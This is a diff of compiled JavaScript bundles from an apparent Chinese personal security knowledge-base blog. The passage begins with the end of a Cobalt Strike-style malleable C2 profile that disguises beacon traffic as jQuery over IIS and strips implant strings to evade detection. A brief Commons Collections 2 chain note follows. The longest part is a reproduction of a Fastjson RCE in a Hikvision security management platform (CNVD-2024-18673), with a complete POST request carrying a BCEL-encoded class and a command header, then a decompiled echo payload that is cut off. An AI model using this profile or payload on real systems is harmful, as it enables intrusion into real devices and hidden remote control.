"DNT" "1";\n metadata {\n base64url;\n parameter "accept";\n }\n }\n server {\n header "Content-Type" "application/yin+xml";\n header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";\n output{\n base64;\n print;\n }\n }\n}\nhttp-post {\n set verb "POST"; # GET / POST\n set uri "/tools/family.html";\n client {\n header "Accept" "text/html, application/xhtml+xml, */*";\n header "Accept-Encoding" "gzip, deflate";\n header "DNT" "1";\n header "Content-Type" "application/x-www-form-urlencoded";\n id {\n base64;\n prepend "token=";\n header "Cookie";\n }\n output{\n base64url;\n prepend "input=";\n print;\n }\n }\n server {\n header "Content-Type" "text/vnd.fly";\n header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";\n output {\n base64;\n print;\n }\n }\n}\n### Start of Real HTTP GET and POST settings ###\nhttp-get "msrpc-azure" { # Don\'t think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server\n set uri "/compare/v1.44/VXK7P0GBE8"; # URI used for GET requests\n set verb "GET";\n client {\n header "Accept" "image/*, application/json, text/html";\n header "Accept-Language" "nb";\n header "Accept-Encoding" "br, compress";\n header "Access-X-Control" "True";\n metadata {\n mask; # Transform type\n base64url; # Transform type\n prepend "SESSIONID_XVQD0C55VSGX3JM="; # Cookie value\n header "Cookie"; # Cookie header\n }\n }\n server {\n header "Server" "Microsoft-IIS/10.0";\n header "X-Powered-By" "ASP.NET";\n header "Cache-Control" "max-age=0, no-cache";\n header "Pragma" "no-cache";\n header "Connection" "keep-alive";\n header "Content-Type" "application/javascript; charset=utf-8";\n output {\n mask; # Transform type\n base64url; # Transform type\n prepend "/*! jQuery v2.2.4 | (c) jQuery Foundation | jquery.org/license */ !function(a,b){\'object\'==typeof module&&\'object\'==typeof module.exp orts?module.exports=a.document?b(a,!0):function(a){if(!a.document)th row new Error(\'jQuery requires a window with a document\');return b(a )}:b(a)}(\'undefined\'!=typeof window?window:this,function(a,b){var c= [],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.t oString,k=i.hasOwnProperty,l={},m=\'2.2.4\',n=function(a,b){return new n.fn.init(a,b)},o=/^[suFEFFxA0]+|[suFEFFxA0]+$/g,p=/^-ms-/,q=/- ([da\x02z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype ={jquery:m,constructor:n,selector:\'\',length:0,toArray:function(){retu rn e.call(this)},get:function(a){return null!=a?0>a?this[a+this.lengt h]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.con structor(),a);return b.prevObject=this,b.context=this.context,b},each:"; append "/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){\'use strict\';\'object\'==typeof module&&\'object\'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\'jQuery requires a window with a document\');return t(e)}:t(e)}(\'undefined\'!=typeof window?window :this,function(C,e){\'use strict\';var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice ,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l= a.call(Object),y={},m=function(e){return\'function\'==typeof e&&\'number\'!=typeof e.nodeType} ,x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};fun ction b(e,t,n){var r,i,o=(n=n||E).createElement(\'script\');if(o.text=e,t)for(r in c)(i=t[ r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;";\n print;\n }\n }\n}\nhttp-post "msrpc-azure" { # Don\'t think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server\n set uri "/Construct/v1.85/JDX894ZM2WF1"; # URI used for POST block.\n set verb "POST"; # HTTP verb used in POST block. Can be GET or POST\n client {\n header "Accept" "application/xml, application/xhtml+xml, application/json";\n header "Accept-Language" "tn";\n header "Accept-Encoding" "identity, *";\n header "Access-X-Control" "True";\n id {\n mask; # Transform type\n netbiosu; # Transform type\n parameter "_KZZUEUVN";\n }\n output {\n mask; # Transform type\n netbios; # Transform type\n print;\n }\n }\n server {\n header "Server" "Microsoft-IIS/10.0";\n header "X-Powered-By" "ASP.NET";\n header "Cache-Control" "max-age=0, no-cache";\n header "Pragma" "no-cache";\n header "Connection" "keep-alive";\n header "Content-Type" "application/javascript; charset=utf-8";\n output {\n mask; # Transform type\n netbiosu; # Transform type\n prepend "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disable\x02selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";\n append "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect\x02clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect\x02puff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effect\x02shake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effect\x02transfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";\n print;\n }\n }\n}\nstage {\n set checksum "0";\n set compile_time "5 May 2023 10:52:15";\n set entry_point "170000";\n #set image_size_x86 "6586368";\n #set image_size_x64 "6586368";\n set name "srv.dll";\n set magic_mz_x64 "OOPS";\n set magic_mz_x86 "OOPS";\n set userwx "false";\n set cleanup "true";\n set sleep_mask "true";\n set stomppe "true";\n set obfuscate "true";\n set rich_header "\\x92\\x75\\xde\\x7f\\xf0\\x62\\x4c\\xf0\\xc3\\x44\\x74\\\\x90\\x97\\x05\\xa2\\x3d\\xd2\\x18\\xab\\x08\\xaa\\xe9\\xcf\\x98\\x81";\n set sleep_mask "true";\n set smartinject "true";\n #set allocator "HeapAlloc";\n set magic_pe "EA";\n set module_x86 "wwanmm.dll";\n set module_x64 "wwanmm.dll";\n transform-x86 {\n prepend\n "\\x48\\x0f\\x1f\\x00\\x66\\x90\\x43\\x66\\x87\\xdb\\x66\\x87\\xd2\\x40\\x45\\x49\\x41\\x90\\x87\\xd2\\x47\\x87\\xdb\\x4c\\x0f\\x1f\\x00\\x0f\\x1f\\x00\\x66\\x87\\xc9\\x0f\\x1f\\x04\\x00\\x42\\x66\\x0f\\x1f\\x04\\x00\\x90\\x87\\xc9\\x44\\x46\\x40";\n strrep "This program cannot be run in DOS mode" ""; # Remove this text\n strrep "ReflectiveLoader" "";\n strrep "beacon.dll" "";\n strrep "beacon.dll" ""; # Remove this text\n strrep "msvcrt.dll" "";\n strrep "C:\\\\Windows\\\\System32\\\\msvcrt.dll" "";\n }\n transform-x64 {\n prepend\n "\\x48\\x0f\\x1f\\x00\\x66\\x90\\x43\\x66\\x87\\xdb\\x66\\x87\\xd2\\x40\\x45\\x49\\x41\\x87\\x90\\xd2\\x47\\x87\\xdb\\x4c\\x0f\\x1f\\x00\\x0f\\x1f\\x00\\x66\\x87\\xc9\\x0f\\x1f\\x04\\x00\\x42\\x66\\x0f\\x1f\\x04\\x00\\x90\\x87\\xc9\\x44\\x46\\x40";\n strrep "This program cannot be run in DOS mode" ""; # Remove this text\n strrep "ReflectiveLoader" "";\n strrep "beacon.x64.dll" "";\n strrep "beacon.dll" ""; # Remove this text\n strrep "msvcrt.dll" "";\n strrep "C:\\\\Windows\\\\System32\\\\msvcrt.dll" "";\n strrep "Stack around the variable" "";\n strrep "was corrupted." "";\n strrep "The variable" "";\n strrep "is being used without being initialized." "";\n strrep "The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";\n strrep "A cast to a smaller data type has caused a loss of data. If this was intentional, you should mask the source of the cast with the appropriate bitmask. For example:" "";\n strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";\n strrep "Stack memory was corrupted" "";\n strrep "A local variable was used before it was initialized" "";\n strrep "Stack memory around _alloca was corrupted" "";\n strrep "Unknown Runtime Check Error" "";\n strrep "Unknown Filename" "";\n strrep "Unknown Module Name" "";\n strrep "Run-Time Check Failure" "";\n strrep "Stack corrupted near unknown variable" "";\n strrep "Stack pointer corruption" "";\n strrep "Cast to smaller type causing loss of data" "";\n strrep "Stack memory corruption" "";\n strrep "Local variable used before initialization" "";\n strrep "Stack around" "corrupted";\n strrep "operator" "";\n strrep "operator co_await" "";\n strrep "operator<=>" "";\n }\n}\n'})})]})}function p(e={}){const{wrapper:t}={...(0,a.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(l,{...e})}):l(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>i});var s=n(96540);const r={},a=s.createContext(r);function o(e){const t=s.useContext(a);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(a.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/942569cd.45e807c5.js b/en/assets/js/942569cd.45e807c5.js new file mode 100644 index 0000000..84ee873 --- /dev/null +++ b/en/assets/js/942569cd.45e807c5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6177],{24331:(e,n,o)=>{o.r(n),o.d(n,{assets:()=>c,contentTitle:()=>i,default:()=>m,frontMatter:()=>a,metadata:()=>r,toc:()=>l});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","title":"Apache Commons Collections 2","description":"\u5229\u7528\u94fe\u5206\u6790","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/02.CC2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/02.CC2.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections 1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1"},"next":{"title":"Apache Commons Collections 3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3"}}');var s=o(74848),t=o(28453);const a={},i="Apache Commons Collections 2",c={},l=[{value:"\u5229\u7528\u94fe\u5206\u6790",id:"\u5229\u7528\u94fe\u5206\u6790",level:2}];function C(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",p:"p",pre:"pre",...(0,t.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"apache-commons-collections-2",children:"Apache Commons Collections 2"})}),"\n",(0,s.jsx)(n.h2,{id:"\u5229\u7528\u94fe\u5206\u6790",children:"\u5229\u7528\u94fe\u5206\u6790"}),"\n",(0,s.jsxs)(n.p,{children:["\u8be5\u94fe\u8fd8\u662f\u5229\u7528\u7684CC1 \u4e2d\u7684 ",(0,s.jsx)(n.code,{children:"InvokerTransformer.transform()"})," ,\u4e0d\u540c\u7684\u662f\u540e\u7eed\u5229\u7528\uff0c\u548c\u524d\u9762\u8c03\u7528\u7684\u65b9\u6cd5\u4e0d\u540c\uff0c\u4e0b\u9762\u662fCC2 \u7684\u5229\u7528\u94fe"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"PriorityQueue.readObject()\nPriorityQueue.heapify()\nPriorityQueue.siftDown()\n PriorityQueue.siftDownUsingComparator()\n TransformingComparator.compare()\n InvokerTransformer.transform()\n method.invoke()\n TemplatesImpl.newTransformer()\n TemplatesImpl.getTransletInstance()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e0eCC3\u4e00\u81f4\uff0c\u4f7f\u7528\u4e86 TemplatesImpl\u7684newTransformer\u65b9\u6cd5\u3002\u52a8\u6001\u52a0\u8f7d\u4ee3\u7801\u3002"})]})}function m(e={}){const{wrapper:n}={...(0,t.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(C,{...e})}):C(e)}},28453:(e,n,o)=>{o.d(n,{R:()=>a,x:()=>i});var r=o(96540);const s={},t=r.createContext(s);function a(e){const n=r.useContext(t);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:a(e.components),r.createElement(t.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/9639775d.31d9d7ee.js b/en/assets/js/9639775d.31d9d7ee.js new file mode 100644 index 0000000..e9d351b --- /dev/null +++ b/en/assets/js/9639775d.31d9d7ee.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4939],{28453:($,e,a)=>{a.d(e,{R:()=>d,x:()=>r});var c=a(96540);const t={},n=c.createContext(t);function d($){const e=c.useContext(n);return c.useMemo(function(){return"function"==typeof $?$(e):{...e,...$}},[e,$])}function r($){let e;return e=$.disableParentContext?"function"==typeof $.components?$.components(t):$.components||t:d($.components),c.createElement(n.Provider,{value:e},$.children)}},80142:($,e,a)=>{a.r(e),a.d(e,{assets:()=>s,contentTitle:()=>r,default:()=>l,frontMatter:()=>d,metadata:()=>c,toc:()=>b});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","title":"\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)"},"next":{"title":"\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE"}}');var t=a(74848),n=a(28453);const d={},r=void 0,s={},b=[];function o($){const e={code:"code",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,n.R)(),...$.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-06-14 01:58:00"})]})})]}),"\n",(0,t.jsx)(e.p,{children:"\u6d77\u5eb7\u5a01\u89c6\u90e8\u5206\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u7ba1\u7406\u5e73\u53f0\u5b58\u5728Fastjson\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u6784\u9020\u6076\u610fPayload\u6267\u884c\u5e76\u83b7\u53d6\u670d\u52a1\u5668\u7cfb\u7edf\u6743\u9650\u4ee5\u53ca\u654f\u611f\u6570\u636e\u4fe1\u606f\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:'title="\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0"\n'})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-http",children:'POST /bic/ssoService/v1/keepAlive HTTP/1.1\nHost: \nContent-Type: application/json\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Firefox/126.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate, br\ncmd: whoami\nConnection: close\nContent-Length: 3330\n\n{"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}\n\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u6f0f\u6d1e\u5b58\u5728\u5373\u53ef\u76f4\u63a5\u56de\u663e\u7ed3\u679c\u3002"}),"\n",(0,t.jsx)(e.p,{children:"4.2 \u5229\u7528\u4ee3\u7801\u7b80\u5355\u5206\u6790\npayload\u4e2d\u7684\u4e8c\u8fdb\u5236\u4ee3\u7801\u662fBCEL\u7c7b\u7684\u52a0\u5bc6\u5185\u5bb9\u3002\u5982\u679c\u60f3\u8981\u8fdb\u884c\u5206\u6790\u7684\u8bdd \uff0c\u53ef\u4ee5\u901a\u8fc7\u5de5\u5177\u6765\u76f4\u63a5\u89e3\u6790\u51fa\u7ed3\u679c\u3002\n\u968f\u6587\u9644\u4e0a\u89e3\u6790\u5de5\u5177 \uff0c\u6267\u884c"}),"\n",(0,t.jsx)(e.p,{children:"java -jar BCELCode.jar -d 1.txt"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-java",children:'// Source code is decompiled from a .class file using FernFlower decompiler.\npackage com.fastjson.vul;\n\nimport java.lang.reflect.Method;\nimport java.util.Scanner;\n\npublic class SpringEcho {\n public SpringEcho() {\n }\n\n static {\n try {\n Class var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");\n Method var1 = var0.getMethod("getRequestAttributes");\n Object var2 = var1.invoke((Object)null);\n var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");\n var1 = var0.getMethod("getResponse");\n Method var3 = var0.getMethod("getRequest");\n Object var4 = var1.invoke(var2);\n Object var5 = 